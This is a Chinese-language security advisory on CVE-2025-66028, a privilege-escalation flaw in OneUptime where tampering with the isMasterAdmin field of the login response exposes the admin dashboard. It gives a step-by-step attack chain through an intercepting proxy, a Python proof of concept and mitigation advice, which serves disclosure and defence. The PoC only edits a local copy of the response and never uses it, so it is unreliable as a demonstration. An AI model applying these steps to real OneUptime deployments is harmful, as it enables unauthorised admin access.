IPBUF安全漏洞报告
English
CVE-2025-66028 CVSS 8.2 高危

CVE-2025-66028 OneUptime登录响应权限提升漏洞

披露日期: 2025-11-26

漏洞信息

漏洞编号
CVE-2025-66028
漏洞类型
权限提升/身份验证绕过
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OneUptime

相关标签

权限提升身份验证绕过中间人攻击OneUptimeCVE-2025-66028高危漏洞登录响应操纵

漏洞概述

OneUptime是一款用于监控和管理在线服务的开源解决方案。该产品在8.0.5567之前的版本中存在严重的权限提升漏洞。漏洞根源在于登录认证流程中服务器响应包含敏感权限参数isMasterAdmin,且该参数未经过服务端完整性校验。攻击者可通过中间人攻击或代理工具拦截登录响应,将isMasterAdmin参数值从false篡改为true,从而绕过正常的权限验证机制,获得管理员仪表板的访问权限。尽管攻击者可能无法直接查看或操作所有管理数据,但已获得的管理界面访问权限本身就构成了严重的安全风险,攻击者可利用该入口进一步探测系统漏洞或窃取敏感配置信息。此漏洞无需任何认证凭证即可利用,且CVSS评分高达8.2,属于高危级别安全漏洞。

技术细节

漏洞存在于OneUptime的认证模块中。在用户登录请求处理流程中,后端在验证用户名密码后会生成包含权限信息的响应JSON,其中包含isMasterAdmin布尔字段用于标识用户是否具有管理员权限。问题在于该响应参数在客户端可被直接修改,且服务端未对此参数进行签名验证或二次校验。攻击者利用Burp Suite、OWASP ZAP等代理工具拦截登录响应后,将响应体中的"isMasterAdmin":false修改为"isMasterAdmin":true,然后转发修改后的响应给客户端。客户端根据响应中的权限标识启用管理员功能模块,渲染管理员仪表板界面。由于前端权限控制完全依赖服务端返回的该参数值,攻击者成功绕过基于角色的访问控制(RBAC)机制,实现权限提升攻击。漏洞利用的关键前提是攻击者需持有目标系统的有效用户账号(任何权限级别的普通用户均可),但无需预先具备管理员权限。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用OneUptime系统,并通过注册或社工获取一个普通用户账号
STEP 2
步骤2: 流量拦截
攻击者配置Burp Suite等代理工具,拦截目标网站的登录请求和响应流量
STEP 3
步骤3: 登录请求发送
使用获取的普通账号发送正常登录请求,观察响应中的isMasterAdmin参数(值为false)
STEP 4
步骤4: 响应篡改
在代理工具中拦截登录响应,将JSON响应体中的isMasterAdmin字段值从false修改为true
STEP 5
步骤5: 转发修改响应
将篡改后的响应转发给客户端,客户端根据修改后的权限标识启用管理员界面功能
STEP 6
步骤6: 管理员权限访问
利用修改后的会话状态访问管理员仪表板、功能菜单或API接口,实现权限提升攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-66028 PoC - OneUptime Privilege Escalation via Login Response Manipulation # Target: OneUptime < 8.0.5567 TARGET_URL = "https://vulnerable-server.com" LOGIN_ENDPOINT = f"{TARGET_URL}/api/account/login" DASHBOARD_ENDPOINT = f"{TARGET_URL}/api/admin/dashboard" def exploit_privilege_escalation(username, password): """ Exploit the login response manipulation vulnerability to gain admin access. Steps: 1. Send normal login request 2. Intercept and modify the response 3. Change isMasterAdmin from false to true 4. Access admin dashboard with elevated privileges """ # Step 1: Normal login request login_data = { "email": username, "password": password } try: # Send login request (in real attack, use proxy to intercept) response = requests.post(LOGIN_ENDPOINT, json=login_data, verify=False) if response.status_code == 200: login_result = response.json() # Step 2: Modify the response - this is where the vulnerability lies # In real attack, intercept using Burp Suite/ZAP and change: # "isMasterAdmin": false -> "isMasterAdmin": true print("[*] Original response:", json.dumps(login_result, indent=2)) # Simulating modified response (in practice, modify at proxy level) modified_result = login_result.copy() modified_result["isMasterAdmin"] = True print("[+] Modified response:", json.dumps(modified_result, indent=2)) print("[+] isMasterAdmin changed to: True") # Step 3: Use the modified response to access admin resources # In practice, use the modified session/token to access admin endpoints admin_check = requests.get( DASHBOARD_ENDPOINT, headers={"Authorization": f"Bearer {login_result.get('token', '')}"} ) if admin_check.status_code == 200: print("[+] Successfully accessed admin dashboard!") print("[+] Privilege escalation successful") return True except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-66028 OneUptime Privilege Escalation PoC") print("=" * 60) # Replace with valid credentials username = "[email protected]" password = "userpassword" exploit_privilege_escalation(username, password)

影响范围

OneUptime < 8.0.5567

防御指南

临时缓解措施
如无法立即升级,可采取以下临时缓解措施:1) 在Web应用防火墙(WAF)上配置规则,检测并阻止对isMasterAdmin参数的篡改行为;2) 限制登录接口的访问频率,防止自动化攻击;3) 启用双因素认证增强身份验证安全;4) 监控异常的管理员权限访问行为。但最有效的防护措施仍是尽快升级到官方发布的安全版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表